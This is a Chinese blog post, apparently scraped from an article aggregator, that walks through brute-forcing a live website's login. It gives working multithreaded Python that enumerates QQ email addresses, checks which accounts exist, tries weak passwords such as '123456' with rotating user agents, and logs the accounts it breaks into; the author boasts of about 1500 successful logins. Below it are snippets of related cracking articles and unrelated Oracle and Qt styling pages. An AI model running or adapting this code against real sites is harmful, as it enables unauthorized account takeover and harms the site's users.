如何通过Python暴力破解网站登陆密码

article/2025/9/28 21:30:47

首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

今天演示的这个网站,就是属于非法的网站。

 

首先看登陆界面。

 

 抓取登陆信息。

使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

现在我们的思路理清楚了,接下来直接上干货。


user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_lowmutex=Lock()#构造用户邮箱
def get_user_nbr():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')user_nbr = user_nbr + 1mutex.release()return user_namedef user_end_judge():mutex.acquire(3)result = Falseif user_nbr > user_num_max :result = Trueelse:result = Falsemutex.release()return  resultdef get_curr_user():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')mutex.release()return user_name

 

 构造用于判断密码邮箱是否存在


user_agent = ['Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30','Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)','Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50','Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]def save_pwd(user, pwd,desc):with open("resut.txt","a+") as f:f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '\n')def user_test(username,password):resp = ""result = ""url = "http://www.k*.htm"pwd = passworduser= usernamemd = hashlib.md5()md.update(pwd)password =  md.hexdigest()data = {'email':username,'password':password}# 设置网页编码格式,解码获取到的中文字符encoding = "gb18030"# 构造http请求头,设置user-agentheader = {"User-Agent": random.choice(user_agent),'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest'}try:requests.adapters.DEFAULT_RETRIES = 5resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ReadTimeout:print("1")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.Timeout:print("2")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ConnectionError:print("3")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except socket.error:time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except BaseException as e:print(e)time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)resp.keep_alive = False#print(resp.content)try:result = resp.contentjson = resp.json()print('邮箱:%s ,result:%s \n ' % (username,result))if (json['message'].find('不存在') > -1):#print('邮箱:%s 为空' % username )return Falseelse:print('邮箱: %s 存在' % username)save_pwd(username, password, json['message'])return Trueexcept BaseException as e:print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

 

好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

  if(json['message'].find('错误') > -1):print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))return Falseelse:print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。


def thread_bru(): # 破解子线程函数#while not user_end_judge():pwd_queue.empty()while not user_end_judge():try:pwd = ‘123456’user = get_user_nbr()#print pwd_test#if user_test(user, pwd_test):if user_test(user, pwd):result = pwdprint ('破解 %s 成功,密码为: %s' % (user, pwd))breakexcept BaseException as e:print("破解子线程错误: %s" % e)def brute(threads):for i in range(threads):t = threading.Thread(target=thread_bru)t.start()print('破解线程-->%s 启动' % t.ident)while (not user_end_judge()): # 剩余口令集判断print('\r 进度: 当前值 %d' % pwd_queue.qsize())time.sleep(2)#print('\n破解完毕')if __name__ == "__main__":brute(150)

好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

 

有不懂的问题,加企鹅群交流吧:98556420。

 


http://chatgpt.dhexx.cn/article/VMQ4v0PX.shtml

相关文章

如何破解大型网站的登录

阅读本文需要4.66分钟 你被标题吸引了吧。。。别急着关。。重头戏在后面 最近当我玩B站的时候,一不小心用代码登录了它,并几乎无限制的上传视频。 那么接下来,我来讲解如何通过Hack技术来模拟 哔哩哔哩 的登录,并完成我们的视频上…

网络安全攻防之网站后台帐号密码暴力破解解析

前言 对于网站运行的个人站长而言,最担心的是应如何有效且安全的去管理自己的网站,否则自己辛辛苦苦经营的网站就会被不请自来的不速之客给攻破,轻则站点数据被窃取,重则整个网站都被攻陷,导致无法恢复。 本文主要从…

网站加密密码查看(或者破解)

从源代码中查看到的加密算法(MD5 单次加密) ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190705112059582.png public static string MD5(this string str) { if (string.IsNullOrEmpty(str)) { return string.Empty; } MD5CryptoServiceProvi…

网站管理后台帐号密码暴力破解方法

【导读】 对于网站运行的个人站长而言,最担心的是应如何有效且安全的去管理自己的网站,否则自己辛辛苦苦经营的网站就会被不请自来的不速之客给攻破,轻则站点数据被窃取,重则整个网站都被攻陷,导致无法恢复。 本文主…

万能网站密码爆破测试工具,太强了 !

内容来源:https://github.com/whwlsfb/BurpCrypto BurpCrypto是一款支持多种加密算法、或直接执行浏览器JS代码的BurpSuit插件。 一、编译 mvn package 二、为什么解决了痛点 目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法&#xff…

一个简单的Python暴力破解网站登录密码脚本

目录: 关键代码解释完整代码方法一运行结果 方法二运行结果 测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url "http://192.168.171.2/dvwa/vulnerabilities/brute/"header设置请求头 header {Us…

【谨慎学习】手把手教你破解网站管理后台帐号密码

【导读】 对于网站运行的个人站长而言,最担心的是应如何有效且安全的去管理自己的网站,否则自己辛辛苦苦经营的网站就会被不请自来的不速之客给攻破,轻则站点数据被窃取,重则整个网站都被攻陷,导致无法恢复。 本文主…

如何破解网络密码?(2种方法)

方法1:直接找网络的主人问(没有技术含量,不要脸的话就去问吧) 如果别人不告诉你怎么办? 两种解决方法: (1)叫你孩子去问,让他(她)撒撒娇~ &am…

黑客入门破解网络密码常用九个方法

个人网络密码安全是整个网络安全的一个重要环节,如果个人密码遭到黑客破解,将引起非常严重的后果。比如,银行卡账户密码被盗,你就给别人打工了。所以,增强网民的网络安全意识是网络普及进程的一个重要环节。 常言道&a…

Burp Suite暴力破解网站密码

一、准备: 1,靶场:个人选择DVWA。 2,工具:Burp Suite。 3,密码字典。二、开搞!: 注:任何未经授权的渗透测试皆为违法,本文仅供学习,维护网络安全…

Oracle数据误删恢复

Oracle数据误删恢复 欢迎关注微信公众号: 程序员小圈圈 转载请标明出处^_^ 原文首发于: www.zhangruibin.com 本文出自于: RebornChang的博客 对于删除数据,我们大致可以分为两种。 ①一种是在控制台执行的sql进行数据删除。 ②一…

SOLARIS系统下ORACLE数据恢复案例

服务器数据恢复环境: 两台SPARC SOLARIS操作系统服务器通过光纤交换机共享一台存储作为集群使用。平时是一台服务器(以下称为主服务器)在运行,如果该服务器发生故障宕机,只需要将这台服务器关机后开启另外一台服务器&a…

Oracle数据恢复

1、查询Oracle日志表 select * from v$sql ; select * FROM v$sqlarea ; 2、查询表的最新操作,找到被删除的数据 select * from v$sql where sql_text like %ABNORMAL_ORDERS% ORDER BY FIRST_LOAD_TIME desc; 找到操作的时间 FIRST_LOAD_TIME,SQ…

【服务器数据恢复】EXT3文件系统下Oracle数据库数据恢复案例

服务器数据恢复环境: 华为OceanStor某型号存储,十几块FC硬盘组建一组RAID5磁盘阵列,配备了一块热备盘;上层使用EXT3文件系统,配置了oracle数据库。 服务器故障: 该存储RAID5中的一块硬盘未知原因离线&…

Oracle-Oracle数据库备份与恢复

Oracle数据库备份与恢复 下面通过一些简单的例子来了解一下: Oracle数据库各种物理备份的方法。Oracle数据库各种物理恢复的方法利用RMAN工具进行数据库的备份与恢复。数据的导出与导入操作。 (1)关闭BOOKSALES数据库,进行一次完全冷备份。 select file…

Oracle—数据恢复

文档结构 1、恢复原理1.1、recyclebin(回收站)相关操作 1.2、archived redo(归档日志)1.3、supplemental log(补充日志) 2、恢复场景2.1、定义删除2.2、记录删除2.2.1、undo恢复2.2.2、redo恢复2.2.3、dbms…

Oracle数据库数据丢失恢复的几种方法总结

根据oracle数据库的特点和提供的工具,主要方法有以下几种方法: 利用逻辑备份使用import工具丢失数据的表 利用物理备份来通过还原数据文件并进行不完全恢复 利用dbms_logmnr包从redo log文件中恢复 利用flashback特性恢复数据 前提 为了方便…

QSS美化

摘自:https://qtdebug.com/qtbook-qss/ Qt 提供的 widget 的默认外观很多时候都不符合项目的界面需求,必须要改,修改一个 widget 的外观(Look and Feel)有以下的方法: 继承 Widget,然后在 pain…

Qss换肤设置

前言:本文大部分的内容来源于同类博客。章节1.1-1.3 摘自参考文档:http://www.th7.cn/web/html-css/201405/37286.shtml。1.4摘自参考文档。https://blog.csdn.net/Staranywhere/article/details/106967756。本文仅用作知识点整理。 目录: 1…

qss之QRadioButton

先来个示例 QRadioButton {font-family: "Microsoft YaHei";font-size: 14px;color: #BDC8E2;background-color: #2E3648; }效果图如下: 上面的例子是基本的样式设置,下面我们将探讨 QRadioButton 各种样式设置: 字体样式 font…